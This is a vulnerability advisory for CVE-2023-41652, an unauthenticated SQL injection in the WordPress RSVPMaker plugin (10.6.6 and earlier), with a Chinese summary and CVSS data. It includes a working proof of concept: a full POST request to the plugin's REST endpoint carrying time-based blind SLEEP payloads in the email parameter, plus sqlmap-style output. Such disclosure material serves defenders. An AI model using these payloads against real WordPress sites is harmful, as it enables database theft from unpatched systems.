RSVPMarker <= 10.6.6 - 未认证 SQL 注入
WordPress 的 RSVPMarker 插件在 10.6.6 及更早版本中，由于对用户提供的 'email' 参数转义不足，且现有 SQL 查询缺乏充分的预处理，因而存在 SQL 注入漏洞。这使得未认证的攻击者能够将额外的 SQL 查询附加到现有查询中，从而从数据库中提取敏感信息。
Severity: critical
CVE ID: CVE-2023-41652
CVSS Score: 9.8
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Plugin Slug: rsvpmaker
WPScan URL: https://www.wpscan.com/plugin/rsvpmaker
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/f655704d-70a1-40d8-ae36-39029185d262?source=api-prod
POST /wp-json/rsvpmaker/v1/rsvpmailer_member/[email protected] HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://kubernetes.docker.internal/
X-Requested-With: XMLHttpRequest
Origin: http://kubernetes.docker.internal
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
[email protected]'%20and%20(select*from(select(sleep(5)))a)--%20
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: [email protected]'XOR(SELECT(0)FROM(SELECT(SLEEP(8)))a)XOR'Z